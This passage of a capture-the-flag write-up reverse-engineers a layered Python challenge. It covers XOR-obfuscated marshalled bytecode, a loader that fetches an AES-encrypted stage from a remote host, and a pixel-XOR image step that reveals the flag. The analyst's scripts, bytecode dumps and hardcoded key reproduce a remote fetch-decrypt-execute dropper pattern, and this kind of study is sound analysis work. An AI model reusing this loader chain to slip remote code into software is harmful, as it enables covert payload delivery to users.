8a<6#9&*a)6&BE\f !!*,;& !uo,# <*BEBEO\xf2\x1b\x0b\x1b\x1b\xe8\x1f\x1b\x1b\x1b\x16\x11\x16\x11\xf2\x1f\x1b\x1b\x1bx\x1a\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x19\x1b\x1b\x1b\x13\x1b\x1b\x1bh\x1b\x1b\x1bi\x03\x1b\x1b\x1b2\x1c\xf2,\x1b\x1b\x1bi\x01\x1b\x1b\x1bi\x1f\x1b\x1b\x1bx\x1a\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x19\x1b\x1b\x1b\x1f\x1b\x1b\x1bh\x1b\x1b\x1bi\x1e\x1b\x1b\x1b2\x19i\0\x1b\x1b\x1bUi\x1c\x1b\x1b\x1bi\x12\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x16\x1b\x1b\x1bi\x15\x1b\x1b\x1b\b\x1b\x1b\x1bi\x14\x1b\x1b\x1bi\x07\x1b\x1b\x1bi\x06\x1b\x1b\x1bUi\x05\x1b\x1b\x1bi\x12\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x16\x1b\x1b\x1bi\x15\x1b\x1b\x1b\b\x1b\x1b\x1bi:\x1b\x1b\x1b\xe8;\x1b\x1b\x1b/&\xe2\xd6\x9c\xc2h K\xb5.\x19\xa2\xf3\x7fBz\xe2\xf3-W\xe3?#\x1an\x91P\f\xc6\xc3\xf2\xf2\x10\x1b\x1b\x1b\xf2\xeb\xe4\xe4\xe4\xb2\x1a\xc1\x1eutux~\xf2\xfb\xe4\xe4\xe4x\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1a\x1b\x1b\x1bH\x1b\x1b\x1b\xe8\x1f\x1b\x1b\x1b\x7f\x1bH\x1b2\x1aUi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x16\x1b\x1b\x1bi\x15\x1b\x1b\x1b\x0e\x1b\x1b\x1b\xe8\x19\x1b\x1b\x1b\x1f\x1b\xe1\x0ev~tl5\'wtxzwh%5DDDDDDD\xb2\b\xc1\x1dhtxp~o\xc1\x18hhw\xc1\x16Xibkot5Xrks~ii\x18\x1b\x1b\x1b\xc1\x1cvzihszw\xc1\rxi~zo~D\x7f~}znwoDxtuo~co\xc1\x10lizkDhtxp~o\xc1\x1cZ]DRU^O\xc1\x10HTXPDHOI^ZVi;\x1b\x1b\x1b\xc1\x1cxtuu~xo\xc1\x1ch~u\x7fzww\xc1\x1fi~xm\xc1\x1exwth~\xc1\x1eru\x7f~c\xc1\x18u~l\xc1\t\x7f~xibkoDzu\x7fDm~ir}b\xc1\x1ewtz\x7fh\xc1\x13DDxt\x7f~DD\xb2\x11i*\x1b\x1b\x1bi)\x1b\x1b\x1bi\x18\x1b\x1b\x1bi/\x1b\x1b\x1b\xc1\x1aD\xc1\x18DDD\xc1\x19DD\xc1\x1eDDDDD\xc1\x1dDDDDDD\xc1\x1cDDDDDDDi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x16\x1b\x1b\x1bi\x15\x1b\x1b\x1b\x18\x1b\x1b\x1b\xe81\x1b\x1b\x1b\x13\x1a\x13\x1a\x17\x1a\x13\x1a5\x1a\x05\x1a\x01\x1a\x1f\x1a\x19\x1a\x11\x1a\x1f\x1a\x19\x1a\x13\x1a\x19\xe7\x13\x1e\r\x1a[\x1a\x11\x1a\x13\x1a\x1d\x1a\x11\x1a'

decoded = bytes([i ^ 27 for i in raw])
code = marshal.loads(decoded)

def print_all_consts(code, indent=0):
    prefix = "  " * indent
    for c in code.co_consts:
        if hasattr(c, 'co_consts'):
            print(f"{prefix}[code object: {c.co_name}]")
            print(f"{prefix}  co_consts: {[x for x in c.co_consts if not hasattr(x, 'co_consts')]}")
            print_all_consts(c, indent+1)
        else:
            print(f"{prefix}  const: {repr(c)}")

print_all_consts(code)

    The output confirmed the structure seen in the disassembly:

$ python sanity_check.py 
  const: None
  const: 0
  const: ('AES',)
  const: ''
[code object: f]
  co_consts: [42, None]
    const: 42
    const: None
  const: 'meow.<locals>.<genexpr>'
  const: b'GOE]\x04YSF\\CO\x04LSC'
  const: ('server_hostname',)
[code object: f]
  co_consts: [13, None]
    const: 13
    const: None
  const: b'`hbz#~ta{dh#ktd'
  const: 443
  const: b''
[code object: f]
  co_consts: [84, 1, '', 'meow.<locals>.<genexpr>.<genexpr>', b'\',"', None]
    const: 84
    const: 1
    const: ''
  [code object: f]
    co_consts: [69, None]
      const: 69
      const: None
    const: 'meow.<locals>.<genexpr>.<genexpr>'
    const: b'\',"'
    const: None
  const: b'\x13\x11\x00t{\' 5 =7{\'!\'$=7=;!\'\x0b59;:3\x0b!\'t\x1c\x00\x00\x04{ezeY^\x1c;\' nt91;#z\'-8"=1z2-=Y^\x17;::17 =;:nt78;\'1Y^Y^'
  const: True
  const: 4096
  const: b'\r\n\r\n'
  const: 4
[code object: f]
  co_consts: [55, 1, '', 'meow.<locals>.<genexpr>.<genexpr>', b'\',"', None]
    const: 55
    const: 1
    const: ''
  [code object: f]
    co_consts: [69, None]
      const: 69
      const: None
    const: 'meow.<locals>.<genexpr>.<genexpr>'
    const: b'\',"'
    const: None
  const: b'4=\xf9\xcd\x87\xd9s;P\xae5\x02\xb9\xe8dYa\xf9\xe86L\xf8$8\x01u\x8aK\x17\xdd\xd8\xe9'
  const: 11
  const: -16
  const: ('nonce',)
  const: -32
[code object: f]
  co_consts: [None]
    const: None
  const: 'meow.<locals>._______'

    Combining the disassembly results with the stage retrieval logic makes the full execution chain much easier to follow. The bytecode analysis already showed repeated XOR based transformations inside small generator driven routines, but the loader script explains where those reconstructed values actually come into play.

    After further analysing the routines and the obtained data, it was evident that the payload was not standalone. It is first fetched from a remote HTTPS endpoint and only after that does the decryption and unmarshalling process reveal its true structure. The loader produces the exact input that later becomes the argument for marshal.loads in the disassembly stage. After decryption, the result is not Python source code but a serialized code object. It only becomes meaningful once Python rebuilds it internally at runtime.

    The important detail is that values like the HTTP REQUEST and the AES_KEY are not originally written in plain form. They are reconstructed earlier in the analysis through the XOR operations seen in the bytecode, where constants such as 42, 13, 55, 69 and 84 were used to rebuild strings and byte sequences. That same mechanism is what ultimately recovers the network endpoint and the cryptographic key used here.

    The script below performs the retrieval and decryption of the next stage and saves the result for further analysis:

import socket
import ssl
from Crypto.Cipher import AES


HOST = "meow.sylvie.fyi"
PORT = 443

REQUEST = (
    b"GET /static/suspicious_among_us HTTP/1.1\r\n"
    b"Host: meow.sylvie.fyi\r\n"
    b"Connection: close\r\n\r\n"
)

AES_KEY = bytes.fromhex(
    "030acefab0ee440c679902358edf536e56cedf017bcf130f3642bd7c20eaefde"
)


def fetch_payload():
    context = ssl.create_default_context()

    with socket.create_connection((HOST, PORT)) as sock:
        with context.wrap_socket(sock, server_hostname=HOST) as ssock:
            ssock.sendall(REQUEST)

            response = b""
            while True:
                chunk = ssock.recv(4096)
                if not chunk:
                    break
                response += chunk

    return response


def extract_http_body(response: bytes) -> bytes:
    return response.split(b"\r\n\r\n", 1)[1]


def decrypt_payload(body: bytes) -> bytes:
    ciphertext = body[:-32]
    tag = body[-32:-16]
    nonce = body[-16:]

    cipher = AES.new(AES_KEY, AES.MODE_GCM, nonce=nonce)
    return cipher.decrypt_and_verify(ciphertext, tag)

def main():
    response = fetch_payload()
    body = extract_http_body(response)
    decrypted = decrypt_payload(body)

    with open("stage2_payload.bin", "wb") as f:
        f.write(decrypted)

    print("[+] Stage 2 payload saved as stage2_payload.bin")

if __name__ == "__main__":
    main()

    The process starts with a manually crafted HTTPS request using socket and ssl to fetch an encrypted payload from the server. The response is then split into ciphertext, tag and nonce and decrypted using AES in GCM mode. The request format and AES key are both reconstructed through the earlier XOR logic seen in the bytecode.

    After decryption, the result is not Python source code but a marshalled byte sequence representing a compiled code object. This is why marshal.loads is required to restore it into an executable form. The disassembly then reveals the final layer, where XOR is used again inside generator expressions to dynamically reconstruct strings at runtime. Overall, encryption and marshaling handle delivery and structure, while XOR is responsible for hiding and rebuilding the actual logic, which only becomes visible once execution reaches the Python runtime.

Deobfuscating Stage 2

    After extracting the second stage payload, the same approach was applied again to inspect its internal Python bytecode. The marshalled object was loaded directly from the file and then disassembled using the dis module:

import marshal
import dis

with open("stage2_payload.bin", "rb") as f:
    stage2_code = marshal.load(f)

dis.dis(stage2_code)

    Running this revealed a fully compiled Python code object rather than readable source code. The disassembly shows that the program is composed of multiple layers of runtime reconstruction, network communication and image based verification logic:

  4           0 LOAD_CONST               1 (0)
              2 LOAD_CONST               0 (None)
              4 IMPORT_NAME              0 (socket)
              6 STORE_FAST               0 (socket)

  5           8 LOAD_CONST               1 (0)
             10 LOAD_CONST               0 (None)
             12 IMPORT_NAME              1 (ssl)
             14 STORE_FAST               1 (ssl)

  6          16 LOAD_CONST               1 (0)
             18 LOAD_CONST               2 (('Image',))
             20 IMPORT_NAME              2 (PIL)
             22 IMPORT_FROM              3 (Image)
             24 STORE_FAST               2 (Image)
             26 POP_TOP

  7          28 LOAD_CONST               1 (0)
             30 LOAD_CONST               0 (None)
             32 IMPORT_NAME              4 (io)
             34 STORE_FAST               3 (io)

  8          36 LOAD_FAST                1 (ssl)
             38 LOAD_METHOD              5 (create_default_context)
             40 CALL_METHOD              0
             42 LOAD_ATTR                6 (wrap_socket)
             44 LOAD_FAST                0 (socket)
             46 LOAD_METHOD              0 (socket)
             48 LOAD_FAST                0 (socket)
             50 LOAD_ATTR                7 (AF_INET)
             52 LOAD_FAST                0 (socket)
             54 LOAD_ATTR                8 (SOCK_STREAM)
             56 CALL_METHOD              2
             58 LOAD_CONST               3 ('')
             60 LOAD_METHOD              9 (join)
             62 LOAD_CONST               4 (<code object f at 0x7f70f9916970, file "<module>", line 8>)
             64 LOAD_CONST               5 ('meow.<locals>.<genexpr>')
             66 MAKE_FUNCTION            0
             68 LOAD_CONST               6 (b'GOE]\x04YSF\\CO\x04LSC')
             70 GET_ITER
             72 CALL_FUNCTION            1
             74 CALL_METHOD              1
             76 LOAD_CONST               7 (('server_hostname',))
             78 CALL_FUNCTION_KW         2
             80 STORE_FAST               4 (_)

  9          82 LOAD_FAST                4 (_)
             84 LOAD_METHOD             10 (connect)
             86 LOAD_CONST               3 ('')
             88 LOAD_METHOD              9 (join)
             90 LOAD_CONST               8 (<code object f at 0x7f70f9930be0, file "<module>", line 9>)
             92 LOAD_CONST               5 ('meow.<locals>.<genexpr>')
             94 MAKE_FUNCTION            0
             96 LOAD_CONST               9 (b'`hbz#~ta{dh#ktd')
             98 GET_ITER
            100 CALL_FUNCTION            1
            102 CALL_METHOD              1
            104 LOAD_CONST              10 (443)
            106 BUILD_TUPLE              2
            108 CALL_METHOD              1
            110 POP_TOP

 10         112 LOAD_FAST                4 (_)
            114 LOAD_METHOD             11 (sendall)
            116 LOAD_CONST              11 (b'')
            118 LOAD_METHOD              9 (join)
            120 LOAD_CONST              12 (<code object f at 0x7f70f9930d40, file "<module>", line 10>)
            122 LOAD_CONST               5 ('meow.<locals>.<genexpr>')
            124 MAKE_FUNCTION            0
            126 LOAD_CONST              13 (b'\x04\x06\x17cl07"7* l1*70& \x1c "7$*1/m3-$c\x0b\x17\x17\x13lrmrNI\x0b,07yc.&,4m0:/5*&m%:*NI\x00,--& 7*,-yc /,0&NINI')
            128 GET_ITER
            130 CALL_FUNCTION            1
            132 CALL_METHOD              1
            134 CALL_METHOD              1
            136 POP_TOP

 11         138 LOAD_CONST              11 (b'')
            140 STORE_FAST               5 (___)

 12         142 NOP

 13     >>  144 LOAD_FAST                4 (_)
            146 LOAD_METHOD             12 (recv)
            148 LOAD_CONST              15 (4096)
            150 CALL_METHOD              1
            152 STORE_FAST               6 (__)

 14         154 LOAD_FAST                6 (__)
            156 POP_JUMP_IF_TRUE        80 (to 160)

 15         158 JUMP_FORWARD             5 (to 170)

 16     >>  160 LOAD_FAST                5 (___)
            162 LOAD_FAST                6 (__)
            164 INPLACE_ADD
            166 STORE_FAST               5 (___)

 12         168 JUMP_ABSOLUTE           72 (to 144)

 17     >>  170 LOAD_FAST                4 (_)
            172 LOAD_METHOD             13 (close)
            174 CALL_METHOD              0
            176 POP_TOP

 18         178 LOAD_FAST                5 (___)
            180 LOAD_FAST                5 (___)
            182 LOAD_METHOD             14 (index)
            184 LOAD_CONST              16 (b'\x89PNG')
            186 CALL_METHOD              1
            188 LOAD_CONST               0 (None)
            190 BUILD_SLICE              2
            192 BINARY_SUBSCR
            194 STORE_FAST               5 (___)

 19         196 LOAD_FAST                2 (Image)
            198 LOAD_METHOD             15 (open)
            200 LOAD_FAST                3 (io)
            202 LOAD_METHOD             16 (BytesIO)
            204 LOAD_FAST                5 (___)
            206 CALL_METHOD              1
            208 CALL_METHOD              1
            210 STORE_FAST               7 (____)

 20         212 BUILD_LIST               0
            214 LOAD_CONST              17 (((139, 766), (136, 759), (177, 440), (95, 810), (154, 479), (136, 758), (179, 439), (95, 808), (158, 456), (136, 758), (191, 551), (99, 796), (159, 522), (136, 758), (152, 485), (155, 458), (99, 796), (95, 809), (136, 758), (95, 808), (159, 522), (136, 758), (179, 439), (95, 808), (158, 456), (191, 551), (136, 758), (155, 458), (95, 808), (159, 512), (95, 809), (136, 758), (179, 439), (95, 808), (158, 456), (136, 758), (159, 512), (155, 458), (95, 808), (158, 456), (190, 496), (153, 479), (136, 758), (195, 443), (99, 796), (156, 456), (94, 810), (136, 758), (153, 470), (94, 810), (152, 485), (152, 485), (161, 450), (191, 551), (136, 758), (153, 479), (94, 810), (154, 463), (154, 464), (159, 512), (95, 810), (158, 521), (159, 522), (97, 786), (233, 533)))
            216 LIST_EXTEND              1
            218 STORE_FAST               8 (_____)

 21         220 LOAD_GLOBAL             17 (input)
            222 LOAD_CONST               3 ('')
            224 LOAD_METHOD              9 (join)
            226 LOAD_CONST              18 (<code object f at 0x7f70f9930df0, file "<module>", line 21>)
            228 LOAD_CONST               5 ('meow.<locals>.<genexpr>')
            230 MAKE_FUNCTION            0
            232 LOAD_CONST              19 (b'rmzph%?')
            234 GET_ITER
            236 CALL_FUNCTION            1
            238 CALL_METHOD              1
            240 CALL_FUNCTION            1
            242 STORE_FAST               9 (______)

 22         244 LOAD_GLOBAL             18 (len)
            246 LOAD_FAST                9 (______)
            248 CALL_FUNCTION            1
            250 LOAD_GLOBAL             18 (len)
            252 LOAD_FAST                8 (_____)
            254 CALL_FUNCTION            1
            256 COMPARE_OP               3 (!=)
            258 POP_JUMP_IF_FALSE      145 (to 290)

 23         260 LOAD_GLOBAL             19 (print)
            262 LOAD_CONST               3 ('')
            264 LOAD_METHOD              9 (join)
            266 LOAD_CONST              20 (<code object f at 0x7f70f9930ea0, file "<module>", line 23>)
            268 LOAD_CONST               5 ('meow.<locals>.<genexpr>')
            270 MAKE_FUNCTION            0
            272 LOAD_CONST              21 (b'yxbb')
            274 GET_ITER
            276 CALL_FUNCTION            1
            278 CALL_METHOD              1
            280 CALL_FUNCTION            1
            282 POP_TOP

 24         284 LOAD_GLOBAL             20 (exit)
            286 CALL_FUNCTION            0
            288 POP_TOP

 25     >>  290 LOAD_GLOBAL             21 (enumerate)
            292 LOAD_FAST                9 (______)
            294 CALL_FUNCTION            1
            296 GET_ITER
        >>  298 FOR_ITER                39 (to 378)
            300 UNPACK_SEQUENCE          2
            302 STORE_FAST              10 (__________)
            304 STORE_FAST              11 (___________)

 26         306 LOAD_FAST                7 (____)
            308 LOAD_METHOD             22 (getpixel)
            310 LOAD_FAST                8 (_____)
            312 LOAD_FAST               10 (__________)
            314 BINARY_SUBSCR
            316 CALL_METHOD              1
            318 UNPACK_SEQUENCE          3
            320 STORE_FAST              12 (_______)
            322 STORE_FAST              13 (________)
            324 STORE_FAST              14 (_________)

 27         326 LOAD_FAST               12 (_______)
            328 LOAD_FAST               13 (________)
            330 BINARY_XOR
            332 LOAD_FAST               14 (_________)
            334 BINARY_XOR
            336 LOAD_GLOBAL             23 (ord)
            338 LOAD_FAST               11 (___________)
            340 CALL_FUNCTION            1
            342 COMPARE_OP               3 (!=)
            344 POP_JUMP_IF_FALSE      188 (to 376)

 28         346 LOAD_GLOBAL             19 (print)
            348 LOAD_CONST               3 ('')
            350 LOAD_METHOD              9 (join)
            352 LOAD_CONST              22 (<code object f at 0x7f70f9930f50, file "<module>", line 28>)
            354 LOAD_CONST               5 ('meow.<locals>.<genexpr>')
            356 MAKE_FUNCTION            0
            358 LOAD_CONST              21 (b'yxbb')
            360 GET_ITER
            362 CALL_FUNCTION            1
            364 CALL_METHOD              1
            366 CALL_FUNCTION            1
            368 POP_TOP

 29         370 LOAD_GLOBAL             20 (exit)
            372 CALL_FUNCTION            0
            374 POP_TOP
        >>  376 JUMP_ABSOLUTE          149 (to 298)

 30     >>  378 LOAD_FAST                7 (____)
            380 LOAD_METHOD             24 (show)
            382 CALL_METHOD              0
            384 POP_TOP
            386 LOAD_CONST               0 (None)
            388 RETURN_VALUE

Disassembly of <code object f at 0x7f70f9916970, file "<module>", line 8>:
              0 GEN_START                0

  8           2 LOAD_FAST                0 (.0)
        >>    4 FOR_ITER                 9 (to 24)
              6 STORE_FAST               1 (i)
              8 LOAD_GLOBAL              0 (chr)
             10 LOAD_FAST                1 (i)
             12 LOAD_CONST               0 (42)
             14 BINARY_XOR
             16 CALL_FUNCTION            1
             18 YIELD_VALUE
             20 POP_TOP
             22 JUMP_ABSOLUTE            2 (to 4)
        >>   24 LOAD_CONST               1 (None)
             26 RETURN_VALUE

Disassembly of <code object f at 0x7f70f9930be0, file "<module>", line 9>:
              0 GEN_START                0

  9           2 LOAD_FAST                0 (.0)
        >>    4 FOR_ITER                 9 (to 24)
              6 STORE_FAST               1 (i)
              8 LOAD_GLOBAL              0 (chr)
             10 LOAD_FAST                1 (i)
             12 LOAD_CONST               0 (13)
             14 BINARY_XOR
             16 CALL_FUNCTION            1
             18 YIELD_VALUE
             20 POP_TOP
             22 JUMP_ABSOLUTE            2 (to 4)
        >>   24 LOAD_CONST               1 (None)
             26 RETURN_VALUE

Disassembly of <code object f at 0x7f70f9930d40, file "<module>", line 10>:
              0 GEN_START                0

 10           2 LOAD_FAST                0 (.0)
        >>    4 FOR_ITER                19 (to 44)
              6 STORE_FAST               1 (i)
              8 LOAD_FAST                1 (i)
             10 LOAD_CONST               0 (67)
             12 BINARY_XOR
             14 LOAD_METHOD              0 (to_bytes)
             16 LOAD_CONST               1 (1)
             18 LOAD_CONST               2 ('')
             20 LOAD_METHOD              1 (join)
             22 LOAD_CONST               3 (<code object f at 0x7f70f9930c90, file "<module>", line 10>)
             24 LOAD_CONST               4 ('meow.<locals>.<genexpr>.<genexpr>')
             26 MAKE_FUNCTION            0
             28 LOAD_CONST               5 (b'\',"')
             30 GET_ITER
             32 CALL_FUNCTION            1
             34 CALL_METHOD              1
             36 CALL_METHOD              2
             38 YIELD_VALUE
             40 POP_TOP
             42 JUMP_ABSOLUTE            2 (to 4)
        >>   44 LOAD_CONST               6 (None)
             46 RETURN_VALUE

Disassembly of <code object f at 0x7f70f9930c90, file "<module>", line 10>:
              0 GEN_START                0

 10           2 LOAD_FAST                0 (.0)
        >>    4 FOR_ITER                 9 (to 24)
              6 STORE_FAST               1 (i)
              8 LOAD_GLOBAL              0 (chr)
             10 LOAD_FAST                1 (i)
             12 LOAD_CONST               0 (69)
             14 BINARY_XOR
             16 CALL_FUNCTION            1
             18 YIELD_VALUE
             20 POP_TOP
             22 JUMP_ABSOLUTE            2 (to 4)
        >>   24 LOAD_CONST               1 (None)
             26 RETURN_VALUE

Disassembly of <code object f at 0x7f70f9930df0, file "<module>", line 21>:
              0 GEN_START                0

 21           2 LOAD_FAST                0 (.0)
        >>    4 FOR_ITER                 9 (to 24)
              6 STORE_FAST               1 (i)
              8 LOAD_GLOBAL              0 (chr)
             10 LOAD_FAST                1 (i)
             12 LOAD_CONST               0 (31)
             14 BINARY_XOR
             16 CALL_FUNCTION            1
             18 YIELD_VALUE
             20 POP_TOP
             22 JUMP_ABSOLUTE            2 (to 4)
        >>   24 LOAD_CONST               1 (None)
             26 RETURN_VALUE

Disassembly of <code object f at 0x7f70f9930ea0, file "<module>", line 23>:
              0 GEN_START                0

 23           2 LOAD_FAST                0 (.0)
        >>    4 FOR_ITER                 9 (to 24)
              6 STORE_FAST               1 (i)
              8 LOAD_GLOBAL              0 (chr)
             10 LOAD_FAST                1 (i)
             12 LOAD_CONST               0 (17)
             14 BINARY_XOR
             16 CALL_FUNCTION            1
             18 YIELD_VALUE
             20 POP_TOP
             22 JUMP_ABSOLUTE            2 (to 4)
        >>   24 LOAD_CONST               1 (None)
             26 RETURN_VALUE

Disassembly of <code object f at 0x7f70f9930f50, file "<module>", line 28>:
              0 GEN_START                0

 28           2 LOAD_FAST                0 (.0)
        >>    4 FOR_ITER                 9 (to 24)
              6 STORE_FAST               1 (i)
              8 LOAD_GLOBAL              0 (chr)
             10 LOAD_FAST                1 (i)
             12 LOAD_CONST               0 (17)
             14 BINARY_XOR
             16 CALL_FUNCTION            1
             18 YIELD_VALUE
             20 POP_TOP
             22 JUMP_ABSOLUTE            2 (to 4)
        >>   24 LOAD_CONST               1 (None)
             26 RETURN_VALUE

    At the top level, the bytecode imports standard networking and image handling modules such as socket, ssl, io and PIL.Image. Immediately after, it establishes a TLS wrapped socket connection and builds several arguments through generator based functions. These generators are responsible for decoding obfuscated byte sequences using XOR transformations, which is already consistent with the patterns observed in the previous stage analysis.

    This is where the connection becomes important. Values used in the connection setup such as the request structure and other intermediate byte sequences are not written directly in plaintext. Instead, they are reconstructed through repeated XOR operations identified earlier in the disassembly phase. This explains the presence of small constants like 42, 13, 69, 67, 31 and 17 inside multiple generator functions, each acting as a lightweight XOR key used to rebuild characters at runtime.

    The flow now transitions from network setup to payload retrieval and validation logic. The code downloads and processes an image, stores pixel coordinates in a large embedded constant list and uses those coordinates as indices into pixel data extracted from a PNG image. Each pixel is processed using an XOR combination of its RGB values and the resulting bytes are converted into characters to reconstruct the final output string.

    This represents the final shift in abstraction. Instead of hiding data in encrypted network traffic, the challenge encodes information directly inside image pixel values, using the image itself as a data container. The transition between stages remains consistent: stage 1 handles secure delivery and decryption, stage 2 introduces marshalled execution with XOR based reconstruction and the final logic moves the hidden data into an image based extraction mechanism.

Getting the flag

    With the analysis complete, the next step is to retrieve the image asset referenced by the bytecode. The bytecode makes it clear that the image is fetched remotely, but for simplicity and reproducibility, I retrieved it directly using a minimal script. This avoids reimplementing the full network logic while still providing the exact same input expected by the extraction routine:

import requests

url = "https://meow.sylvie.fyi/static/ritsec_catgirl.png"

r = requests.get(url)

with open("stage2.png", "wb") as f:
    f.write(r.content)

print("[+] Downloaded clean PNG")

    This image contains the embedded data used by the pixel extraction routine observed in the disassembly: Stage2 Image

    Once the image was available locally, the final step was to replicate the pixel processing logic observed in the disassembly. The list of coordinates recovered earlier was used to index specific pixels and for each one, the RGB values were combined using XOR. The result of this operation was then converted into characters, gradually reconstructing the hidden string:

#!/usr/bin/env python3

from PIL import Image

# Coordinates from bytecode
coords = [
    (139, 766), (136, 759), (177, 440), (95, 810), (154, 479),
    (136, 758), (179, 439), (95, 808), (158, 456), (136, 758),
    (191, 551), (99, 796), (159, 522), (136, 758), (152, 485),
    (155, 458), (99, 796), (95, 809), (136, 758), (95, 808),
    (159, 522), (136, 758), (179, 439), (95, 808), (158, 456),
    (191, 551), (136, 758), (155, 458), (95, 808), (159, 512),
    (95, 809), (136, 758), (179, 439), (95, 808), (158, 456),
    (136, 758), (159, 512), (155, 458), (95, 808), (158, 456),
    (190, 496), (153, 479), (136, 758), (195, 443), (99, 796),
    (156, 456), (94, 810), (136, 758), (153, 470), (94, 810),
    (152, 485), (152, 485), (161, 450), (191, 551), (136, 758),
    (153, 479), (94, 810), (154, 463), (154, 464), (159, 512),
    (95, 810), (158, 521), (159, 522), (97, 786), (233, 533)
]

# Load image
img = Image.open("stage2.png")

flag = ""

for (x, y) in coords:
    r, g, b = img.getpixel((x, y))
    c = chr(r ^ g ^ b)
    flag += c

print(flag)

    By following the exact logic embedded in the bytecode, the concealed data could be recovered deterministically, revealing the final flag:

$ python get-flag.py
RS{1f_y0u_r4n_th47_0n_y0ur_h0s7_y0u_sh0uld_m4k3_b3tter_d3cis1on5}

Conclusion

    This challenge demonstrates how multiple layers of obfuscation can be combined to significantly increase analysis complexity while still relying on relatively simple techniques. Instead of using a single strong protection mechanism, the payload chains together network delivery, cryptographic protection, Python serialization and lightweight XOR based transformations to gradually reveal its behavior.

    Each stage exposes only the minimum information required for the next one to execute. The initial layer focuses on secure retrieval and AES decryption, the second stage introduces marshalled bytecode with dynamically reconstructed values and the final stage shifts the hidden data into an image based encoding scheme. This progression forces the analysis to move step by step, preventing direct inspection of the final logic.

    A key takeaway is that XOR, despite being simple, remains highly effective when used in multiple layers and combined with runtime execution. By embedding it inside generator expressions and delaying reconstruction until execution time, the payload avoids leaving meaningful artifacts in static form.

    Overall, the challenge highlights the importance of combining static analysis with controlled execution and scripting. By extracting intermediate artifacts, reproducing transformations and carefully following the data flow, it becomes possible to fully reconstruct even heavily layered obfuscation and recover the hidden content.